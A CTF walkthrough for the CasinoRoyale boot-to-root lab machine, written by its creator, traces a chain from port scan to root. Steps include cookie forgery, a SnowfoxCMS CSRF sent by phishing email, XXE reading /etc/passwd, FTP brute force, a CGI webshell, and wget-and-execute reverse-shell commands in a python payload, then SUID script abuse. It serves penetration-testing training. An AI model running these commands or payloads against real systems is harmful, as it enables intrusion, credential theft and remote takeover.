Back to Posts

Casino Royale Walkthrough

Posted in CTF

Advance your Pentesting Skills at Slayer Labs! Networks Engineered to Exploit.
- Windows/UNIX - Domains/Subnets - Access/Post/Lateral - Low Cost VPN Ranges -


CasinoRoyale is another Boot2Root machine I’ve built targeted towards WebApp exploitation. I’ve received questions on prior B2R machines - specifically upon initial release, so decided to make an “official” walkthrough as this box has many steps. Located on vulnhub or google drive.

I’m sure there are additional ways to get root, so feel free to get creative. This box is targeted towards AppSec, along with shell and permission manipulation.

Note: Normally I’d be doing quite a bit more enumeration, but in this case I know what’s necessary to get root.

Upon an initial scan…

21/tcp   open  ftp
25/tcp   open  smtp
|_smtp-commands: casino.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, 
| ssl-cert: Subject: commonName=casino
| Subject Alternative Name: DNS:casino
| Not valid before: 2018-11-17T20:14:11
|_Not valid after:  2028-11-14T20:14:11
|_ssl-date: TLS randomness does not represent time
80/tcp   open  http
| http-robots.txt: 2 disallowed entries 
|_/cards /kboard
|_http-title: Site doesn't have a title (text/html).
8081/tcp open  blackice-icecap

It looks like FTP, SMTP, HTTP and another unique port or 8081 is open. Be sure to investigate any entries on robots.txt - some may be interesting..and some may be red herrings.

Using curl and dirb we investigate port 80 and 8081


Port 8081 contains PHP running something in collect.php, no hits on dirb - we’ll be putting this on the todo list. Port 80 contains quite a bit of directory hits including index.php. Investigating a bit it seems like a Poker tournament leaderboard - including some familiar characters.

High-stakes Poker

alt text

First, note the info mentions to use the domain of: casino-royale.local vs the ip. Update your /etc/hosts file to match this request (which may be needed for future exploits ;-)

At the bottom of the page a juicy chuck of info is found - Created with PokerMax Poker League Software. Running a quick searchsploit query brings up a compatible exploit:

alt text

Looks like this web app is vulnerable to Insecure Cookie Handling, which would allow anyone to login as Admin. Steps seem simple enough, go to casino-royale.local/pokeradmin/configure.php enter the following string into the url:

javascript:document.cookie = "ValidUserAdmin=admin";

Then go back to casino-royale.local/pokeradmin/configure.php and you should be logged in as admin. Simple right? Ok GO!

After clicking around investigating the admin gui, a hint is found within the profile or user: Valenka. The hint contains a new URI. Side note - it may be possible to inject some malicious PHP code into any of the fields present in the browser, depending on how sanitization is handled.

alt text

CMS Blog

After following the URI in Valenka’s profile, it seems we’re directed to a company blog. Clicking through the blog posts, dropdowns, etc, it’s discovered the CMS is SnowfoxCMS and the CMS admin has an email of valenka@casino-royale.local.

Doing a quick search for snowfox exploits, one appears as a Cross-Site Request Forgery that will add an arbitrary user as Admin.

alt text

With CSRF’s we need user interaction, specifically a Snowfox CMS Admin to go to our malicious link and click a button. According to a blog post, admin user Valenka checks her email for new clients and looks into any relevant links.

alt text

So there is “a user” opening email, clicking links and form submit buttons (cough cough).

We’ll copy the exploit, alter a few variables and host it on our kali apache server. Then send an email to valenka with our malicious link in the body. We’ll make sure to include a known reference in the subject line as requested. That way it won’t look like spam and “the user” should just click on random links in emails right?

Altered exploit:

alt text

Sending mail via telnet:

alt text

Tailing apache access log, gets a valid hit: - - [24/Feb/2019:10:58:39 -0500] "GET /legit.html HTTP/1.1" 200 674 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4"

Now we’ll try to login as our new user, and boom admin:

alt text

Clicking around again, something juicy is found in Le’s profile - a new URI! Note: Using Snowfox to upload malicious files to get shell may be an other vector. I haven’t dug into that option though.

XML External Entities

Following this new URI, we’re brought to a simple page which, after investigating the source, looks like a possible XXE vulnerability. Lucky for us, the PHP code is in the comments. Using POST requests a user may be able to read from the file system.

Checkout this thorough guide into XXE - which basically outlines the exploit. After creating a bogus file, with the needed parameters which also includes a request to read file:///etc/passwd we run curl against this page to include the bogus file…

curl -d @xml.txt http://casino-royale.local/ultra-access-view/main.php

And we see the /etc/passwd file. Also another bit of info is located on main.php - the custom FTP account has a simple password. After checkout the /etc/passwd file we see a unique user:

alt text

Let’s see what port 21 can offer us….

FTP and Beyond

Running hyrda against FTP using the newly found username, a password is found.

alt text

Logging into FTP looks like we’re in a web directory. From here a shell can be uploaded, but are there restrictions on file types? Yes! And after a bit of testing, it looks like perl and cgi files types are allowed. Using the PUT command a cgi webshell is placed in this FTP we directory.

Testing this new shiny webshell out, we see it works:

http://casino-royale.local/ultra-access-view/cmd.cgi?cat /etc/passwd

From here a reverse shell can be uploaded using any file type using wget. I’ll create a python reverse shell on my local Kali box, then wget get from the cgi webshell, change permissions, create a listener and execute it.

# Adding this as the URI
/ultra-access-view/cmd.cgi?wget -O /var/www/html/ultra-access-view/

# Looking good in the access log - - [24/Feb/2019:11:52:53 -0500] "GET / HTTP/1.1" 200 520 "-" "Wget/1.18 (linux-gnu)"

Now giving it permissions, and executing it, a initial shell is obtained.

alt text

Working to Up Privs

At this point I’d usually be running enumeration scripts, poking around for something interesting, but in this case I’ll be locating that juicy php file found on port 8081 from our initial scan.

$ locate collect.php

An interesting directory. Navigating to it, plenty of unique files with permissions are all over the place - specifically a SUID permission on a binary file: mi6-detect-test

The initial goal will be bump up privs to user le which can be done after noticing collect.php is executing a file we (www-data) have permissions to write to:

So, after clicking the collect.php (owned by le) button, it will actually execute the python script(we have write perms to), outputing results to the browser. Easy right?

I’ll choose another python reverse shell. The collection script will wget my reverse shell, update permissions, then execute.

$ cat
#!/usr/bin/env python
import os
os.system('wget http:; chmod 777; ./')

alt text

Onto Root

Now we have a little more visibility into these files, specifically: closer2root.txt and looking into we see it’s a home made script to check a few running resources on the system.

Testing this SUID binary, it looks like it’s just running the script, which we now have write access to. So just like the last hack, we can edit to contain another reverse shell or any system command as root. Since we already have 8 billion shells open, why not add another one?

This time a simple reverse bash shell will be added to, then execute mi6_detect_test as le.

alt text

Great, root is had.

Custom Cyber Ranges >>

Read Next

Cyber Range Build